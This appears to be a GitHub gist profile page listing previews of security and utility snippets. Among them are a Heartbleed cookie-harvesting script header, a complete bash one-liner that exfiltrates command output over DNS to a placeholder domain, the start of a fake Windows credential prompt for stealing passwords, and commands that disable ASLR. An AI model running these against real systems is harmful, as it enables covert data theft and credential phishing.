Skip to content

Instantly share code, notes, and snippets.

View luca-m's full-sized avatar

lucam luca-m

View GitHub Profile
#!/usr/bin/python
# Connects to servers vulnerable to CVE-2014-0160 and looks for cookies, specifically user sessions.
# Michael Davis (mike.philip.davis@gmail.com)
# Based almost entirely on the quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import select
#!/usr/bin/env python2
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
(LINE=`id`;domain=yourdomain.com;var=;while IFS= read -r -n 1 char;do var+=$(printf %02X "'${char:-$'\n'}'");done<<<$LINE;e=60;l=${#var};for((b=0;b<l;b+=60))do>&/dev/udp/$RANDOM.$b.${var:$b:$e}.$domain/53 0>&1;done;>&/dev/udp/$RANDOM.theend.$domain/53 0>&1)
#Coded by Matt N.
#Twitter: @enigma0x3
#Blog: www.enigma0x3.wordpress.com
function Invoke-LoginPrompt{
$cred = $Host.ui.PromptForCredential("Windows Security", "Please enter user credentials", "$env:userdomain\$env:username","")
$username = "$env:username"
$domain = "$env:userdomain"
$full = "$domain" + "\" + "$username"
$password = $cred.GetNetworkCredential().password
Add-Type -assemblyname System.DirectoryServices.AccountManagement
@luca-m
luca-m / vim_highlight_nonascii
Created July 21, 2015 15:51
vim highlight non ascii
syntax match nonascii "[^\x00-\x7F]"
highlight nonascii guibg=Red ctermbg=2 termbg=2
@luca-m
luca-m / dissect.sh
Created March 24, 2013 16:32
dissect network traffic in comfortable network bidirectional flows (source ip, source port, dest ip, dest port, timestamp)
#!/bin/bash
##
## Dissect network traffic from a PCAP file.
## Extract network bidirectional flows (source ip, source port, dest ip, dest port, timestamp) and
## store them in separate files
##
## Usage: dissect.sh <CAPTUREFILE.PCAP> <OUTPUTFOLDER>
##
## Options:
## -h, --help Display this message
@luca-m
luca-m / sh-notes
Last active December 15, 2015 08:39
A place where to put some bash snippets
#
# TSHARK OUTPUTS HEX-ENCODED DATA IN STDOUT
#
tshark -r capture.pcap -R "tcp.stream eq 3" -T fields -E separator=, -e frame.time -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e data
#[..]
#Mar 23, 2013 00:23:24.689578000,10.13.38.54,33124,10.13.37.54,4444,373030300a
#Mar 23, 2013 #00:23:24.689646000,10.13.37.54,4444,10.13.38.54,33124,426f726f6e206c6576656c20697320746f6f20686967683a203736343020286d61782031303030290a
#[..]
#
@luca-m
luca-m / gitupdate.py
Last active December 16, 2015 04:59
If you are used to use software downloaded from git repositories and you are tired to manually pull latest version of your favourite software, this quick script for auto-update all gits in a given folder might make you save a bunch of minutes.
#!/usr/bin/env python
#-------------------------------------------------------------
# Name: gitupdate.py
# Purpose: Update all git repositories found in subfolders.
# Author: stk
# Created: 14/04/2013
# Copyright: (c) stk
# Python Version: 2.7
# Dependencies: git,hg,svn
#-------------------------------------------------------------
#
# Timing Attack Miscellaneous
#
import string
import sys
import re
import time
import threading
import httplib
@luca-m
luca-m / useful-commands
Last active December 18, 2015 23:29
A collection of useful commands.
# convert images
convert *.pgm %d.jpg
# video from image sequence
avidemux2_cli --video-codec DV --fps 1 --load jpg/*.jpg --save out.avi --quit
# No ASLR
sysctl -w kernel.randomize_va_space=0
paxctl -x <program>
setarch `arch` -R <program>